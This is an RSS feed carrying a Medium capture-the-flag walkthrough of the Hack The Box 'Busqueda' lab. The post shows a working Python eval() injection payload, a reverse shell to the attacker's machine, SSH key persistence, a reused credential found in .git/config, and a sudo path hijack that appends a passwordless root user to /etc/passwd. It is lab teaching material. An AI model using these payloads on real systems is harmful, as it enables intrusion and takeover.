<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Alex Otero on Medium]]></title>
        <description><![CDATA[Stories by Alex Otero on Medium]]></description>
        <link>https://medium.com/@lexotero?source=rss-185e8b000323------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*XC72Vw096WlHIH7ZIfTaoA.jpeg</url>
            <title>Stories by Alex Otero on Medium</title>
            <link>https://medium.com/@lexotero?source=rss-185e8b000323------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 11:17:32 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@lexotero/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Hack The Box “Busqueda” — Walkthrough]]></title>
            <link>https://medium.com/@lexotero/hack-the-box-busqueda-walkthrough-8bff4a63592a?source=rss-185e8b000323------2</link>
            <guid isPermaLink="false">https://medium.com/p/8bff4a63592a</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[hack-the-box-writeup]]></category>
            <category><![CDATA[hack-the-box-walkthrough]]></category>
            <dc:creator><![CDATA[Alex Otero]]></dc:creator>
            <pubDate>Tue, 02 May 2023 15:54:28 GMT</pubDate>
            <atom:updated>2023-05-02T17:27:05.440Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hack The Box “Busqueda” — Walkthrough</h3><figure><img alt="Hack The Box Busqueda machine description card" src="https://cdn-images-1.medium.com/max/1024/1*QpKhgsKAjAJ562DSZ-BCrA.png" /></figure><p>This is my write up of my experience with the “Busqueda” lab machine from Hack The Box (listed as easy).</p><blockquote><strong>WARNING! This blog contains contains details on how to get the machine flags. The “Clues” section might help you if you are stuck without spoiling the fun.</strong></blockquote><h3>Clues</h3><p>In this section I give you some points that might help you figure out what needs to be done in order to obtain the flags. Hopefully without giving away to much!</p><h4>User Flag</h4><ul><li>Do you know what is running on the machine? Services, applications, versions, programming languages,…</li><li>The website has a form, try to figure out (best guess) how the form is processed and the response generated.</li></ul><h4>System Flag</h4><ul><li>Search the common places for credentials.</li><li>What can the user do in the system?</li></ul><h3>Walkthrough</h3><h4>User Flag</h4><p>The story begins in the same way that they all do… with enumeration. We start with a simple nmap command:</p><pre>nmap -v -A $ip -oN nmap.out</pre><p>Note that I store the output of the nmap command in case I need it in the future. Also, $ip is the IP address of my instance of the machine.</p><p>The output of nmap looks like (showing only the relevant bits):</p><pre>Not shown: 998 closed tcp ports (conn-refused)<br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)<br>|_  256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)<br>80/tcp open  http    Apache httpd 2.4.52<br>| http-methods: <br>|_  Supported Methods: GET HEAD POST OPTIONS<br>|_http-server-header: Apache/2.4.52 (Ubuntu)<br>|_http-title: Did not follow redirect to http://searcher.htb/<br>Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>From this output, we can see that the Apache server is expecting connections using the searcher.htb domain, so we need to ensure our local machine can resolve that domain to the machine’s IP. For this we can edit /etc/hosts (I’m working on Kali Linux):</p><pre>127.0.0.1     localhost<br>[...]<br><br>searcher.htb  10.X.X.X</pre><p>Now, if we repeat the nmap command, we get something like:</p><pre>Not shown: 998 closed tcp ports (conn-refused)<br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)<br>|_  256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)<br>80/tcp open  http    Apache httpd 2.4.52<br>| http-server-header: <br>|   Apache/2.4.52 (Ubuntu)<br>|_  Werkzeug/2.1.2 Python/3.10.6<br>| http-methods: <br>|_  Supported Methods: OPTIONS HEAD GET<br>|_http-title: Searcher<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>Although the output hasn’t changed much, we can now see the server HTTP header (http-server-header in the nmap output). We could check for vulnerabilities on Apache 2.4.52 and Werzeug 2.1.2. Nonetheless, we are going to carry on with the website itself.</p><p>If we navigate to <a href="http://searcher.htb/">http://searcher.htb/</a> we are greeted with a simple black and white page with a nice explanation of what the website is about. We can also see a 2 field form which we will explore later, but another thing that stands out is the “Powered by” section of the footer. Many websites make a rendition to the tools and frameworks used in development in the footer. This gives us more information about what is behind the scenes: <a href="https://flask.palletsprojects.com/en/2.3.x/">Flask</a> and <a href="https://github.com/ArjunSharda/Searchor">Searchor</a>. We are even told the specific version of Searchor, i.e. 2.4.0.</p><p>The form let’s us select an “engine” and specify a search string. Upon submission, a POST request is sent to the server that replies with a text/html response with a single URL. The URL is a search request to the selected engine using the typed search string.</p><p>For example, if we select the Google engine and type test as a search string, the server returns <a href="https://www.google.com/search?q=test.">https://www.google.com/search?q=test</a>. A GET request to this URL will trigger a Google search for the term test.</p><p>The form has an additional checkbox field that tells the server to respond with an HTTP 302 response redirecting directly to the generated URL.</p><p>The functionality is really interesting, and thinking about possible implementations, we could think that the base URL for all search engines could be stored and then the server would only need to append/concatenate the search terms at the end to create the final URL. This sort of implementation could be susceptible to string concatenation vulnerabilities, leading perhaps to arbitrary code execution.</p><p>Luckily enough, as previously mentioned, the footer of the landing page tells us exactly how the functionality is implemented, i.e. searchor==2.4.0.<br>We don’t know exactly how searchor is used, but there are 2 ways to create the URLs the website is returning:</p><ul><li><a href="https://github.com/ArjunSharda/Searchor/blob/v2.4.0/src/searchor/__init__.py#L112">Engine.search() method.</a></li><li><a href="https://github.com/ArjunSharda/Searchor/blob/v2.4.0/src/searchor/main.py#L30">The </a><a href="https://github.com/ArjunSharda/Searchor/blob/v2.4.0/src/searchor/main.py#L30">searchor CLI.</a></li></ul><p>The string formatting in the Engine.search() method seems safe at first glance. The searchor CLI <a href="https://github.com/ArjunSharda/Searchor/blob/v2.4.0/src/searchor/main.py#L32">uses </a><a href="https://github.com/ArjunSharda/Searchor/blob/v2.4.0/src/searchor/main.py#L32">eval() to run </a><a href="https://github.com/ArjunSharda/Searchor/blob/v2.4.0/src/searchor/main.py#L32">Engine.search()</a>. eval() first argument is a string which is parsed and evaluated as a Python expression. This means that if we can control the contents of the string, we can essentially execute any Python code that we want.</p><p>Before we go deeper into attempting exploitation assuming the use of the searchor CLI, we can do a quick search for known vulnerabilities on the searchor library.<br>Google doesn’t give us much, but inspecting <a href="https://github.com/ArjunSharda/Searchor/releases">the release notes of the project</a> something stands out. searchor==2.4.2 release notes include:</p><pre>[VULNERABILITY] Patched a priority vulnerability in the Searchor CLI</pre><p>So it seems that we are going in the right direction.</p><p>Let’s try to understand how eval() works. <a href="https://docs.python.org/3/library/functions.html#eval">The Python documentation</a> says:</p><p><em>The expression argument is parsed and evaluated as a Python expression (</em><strong><em>technically speaking, a condition list</em></strong><em>).</em></p><p>So:</p><pre>&gt;&gt;&gt; eval(&quot;1+1,2+2&quot;)<br>(2, 4)</pre><p>The expression string is a comma-separated list of conditions, which means we could have something like:</p><pre>url = eval(&quot;Engine.Google.search(&#39;text&#39;),print(&#39;Hello&#39;)&quot;)</pre><p>and the result would be a call to Engine.Google.search() and to print().</p><p>How can we insert another expression in the f-string in searchor :</p><pre>url = eval(<br>    f&quot;Engine.{engine}.search(&#39;{query}&#39;, copy_url={copy}, open_web={open})&quot;<br>)</pre><p>What would happen if query had the value &quot;&#39;&quot; (single quote)? Let’s see:</p><pre>url = eval(<br>    f&quot;Engine.{engine}.search(&#39;&#39;&#39;, copy_url={copy}, open_web={open})&quot;<br>)</pre><p>This would cause a syntax error, because Python would consider the 3 single-quotes as a “triple-quoted string literal” that is unterminated (i.e. opened, but never closed). We can fix this if query has the value &quot;&#39;)&quot;, resulting in:</p><pre>url = eval(<br>    f&quot;Engine.{engine}.search(&#39;&#39;)&#39;, copy_url={copy}, open_web={open})&quot;<br>)</pre><p>Now we have a different syntax error. The call to Engine.{engine}.search(&#39;&#39;) is valid, but we have another unterminated string literal with the single quote after that expression. How can we get rid of that single quote? Easy, let’s comment it out passing, i.e. &quot;&#39;)#&quot;:</p><pre>url = eval(<br>    f&quot;Engine.{engine}.search(&#39;&#39;)#&#39;, copy_url={copy}, open_web={open})&quot;<br>)</pre><p>Everything after the # is now understood as a comment, so the eval() expression will simply execute Engine.{engine}.search(&#39;&#39;).</p><p>This is not enough, we want to be able to execute our own commands. Well, before our # we can now pass any other Python expression and it will be evaluated. E.g., if our query is equal to &quot;&#39;), print(&#39;Hello&#39;)#&quot; the resulting code would look like:</p><pre>url = eval(<br>    f&quot;Engine.{engine}.search(&#39;&#39;), print(&#39;Hello&#39;)#&#39;, copy_url={copy}, open_web={open})&quot;<br>)</pre><p>If we can run a print() , we can run something more useful like &#39;),__import__(&#39;os&#39;).system(&#39;cat ~/user.txt&#39;) :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d1CaOVWAMz1AtMfFG_5ApA.png" /></figure><p>If we send this search, we will get back the user flag (plus the result of the evaluation of the expressions).</p><p>Although this worked to obtain the user flag, it would be more useful to get a shell into the machine. In fact, we will need that if we want the root flag.</p><p>Firstly, let’s get a local nc process listening on port 8080 while we try to get a reverse shell:</p><pre>nc -lnvp 8080</pre><p>Now, we can try to create a reverse shell using the __import__(&#39;os&#39;).system() expression. I tried using nc, but the nc binary cannot be found and I got an exit code 256. I also tried a Bash TCP reverse shell, but got an exit code 512 (not sure why, but I imagine the system() call does not support pipes?).</p><p>I was more lucky with the “standard” Python reverse shell.</p><pre>python -c &#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;my-local-machine-ip&quot;,8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;]);&#39;</pre><p>Passing this command to system() took me a few tries. The combination of single and double quotes makes it really confusing, but finally I got the right syntax:</p><pre>&#39;),__import__(&#39;os&#39;).system(&#39;python3 -c \&#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;my-local-machine-ip&quot;,8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/bash&quot;,&quot;-i&quot;]);\&#39;&#39;)#</pre><p>When I send this with the browser, I get a connection to my nc process with an interactive Bash shell.</p><h4>Persistency</h4><p>Although the reverse shell might be enough to progress with the challenge, I decided to make my life easier by ensuring I can connect to the machine more easily using SSH. For this, I simply create a new SSH key for the svc user from my reverse shell:</p><pre>ssh-keygen -t rsa -f ~/.ssh/id_rsa -b 2048</pre><p>The I can copy the private key ~/.ssh/id_rsato my local machine, and add the public key ~/.ssh/id_rsa.pub to the list of authorised keys:</p><pre>cat ~/.ssh/id_rsa.pub &gt;&gt; ~/.ssh/authorised_keys</pre><p>Now from my local machine I can simply:</p><pre>ssh -i copy-of-generated-private-key svc@&lt;machine-ip&gt;</pre><p>and use a fully-fleshed shell instead of the reverse shell.</p><h4>System Flag</h4><p>I spent some time trying to figure out what to do with the svc user. After a while I stumbled across /var/www/app/.git/config. This is a standard Git file that contains information about the repository, including the remotes. In this case, luckily for us, the origin remote was cloned using basic HTTP authentication and the credentials are visible on the url property.</p><p>I used the ccredentials in the .git/config to access the locally hosted gitea.searcher.htb Git server (you’ll have to add the IP resolution to /etc/hosts). The Git server only contains on repository (that I could see), and searching in google for vulnerabilities with Gitea 1.18.0 didn’t produce any useful insights.</p><p>The next thing to try (arguably, it should have been the first so I would have saved some time), was to see if the password was reused for the svc user. Surprise (or not) it was!</p><p>Now I know the password, and can do things like:</p><pre>sudo -l</pre><p>Which tells me that the user can run:</p><pre>User svc may run the following commands on busqueda:<br>    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *</pre><p>How can I exploit this command to obtain the system flag?</p><p>Although the * at the end of the command allows for any expression following the call to system-checkup.py , I couldn’t find a way to exploit this directly, so I started looking into how system-checkup.py works.</p><p>We don’t have access to read system-checkup.py, but we can run all the allowed commands and try to guess what they do:</p><ul><li>docker-ps seems to run docker ps.</li><li>docker-inspect seems to run docker container inspect.</li><li>full-checkup probably runs /opt/scripts/full-checkup.sh.</li></ul><p>If we are right, we could try to replace docker with our custom script that does something like cat /root/root.txt to get the system flag. Sadly, I believe, the Python script is using a full path to docker, such as /usr/bin/docker, because I couldn’t get it to run my custom docker script, not even modifying the PATH environment variable.</p><p>Le’ts try now with the full-checkup command…</p><p>The first thing I noticed, is that running sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup from the home directory of the svc user resulted in the following:</p><pre>svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup<br>Something went wrong</pre><p>Not much error information. Perhaps the script is using a relative path to access the full-checkup.sh script:</p><pre>svc@busqueda:~$ cd /opt/scripts/<br>svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup<br>[=] Docker conteainers<br>[OMITTED]<br>[+] Done!</pre><p>It worked! So, the only thing I need to do is to create a full-checkup.sh script in a different directory and run the command from there so the Python script executes that file instead of the intended /opt/scripts/full-checkup.sh .</p><pre>svc@busqueda:/tmp$ echo -e &#39;#!/bin/bash\ncat /root/root.txt&#39; &gt; full-checkup.sh<br>svc@busqueda:/tmp$ chmod +x full-checkup.sh<br>svc@busqueda:/tmp$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup<br>[flag omitted]<br><br>[+] Done!</pre><p>We got the system flag!!</p><p>For extra points (not really), we can actually get a simple root shell adding a new user to /etc/passwd:</p><pre>#!/bin/bash<br># content of /tmp/full-checkup.sh<br><br>echo &#39;hacker::0:0:System Administrator:/root/root:/bin/bash&#39; &gt;&gt; /etc/passwd</pre><p>This would allow us to log in as the hacker user without any password:</p><pre>svc@busqueda:/tmp$ su - hacker<br>su: warning: cannot change directory to /root/root: No such file or directory<br>root@busqueda:/tmp# id<br>uid=0(root) gid=0(root) groups=0(root)</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8bff4a63592a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>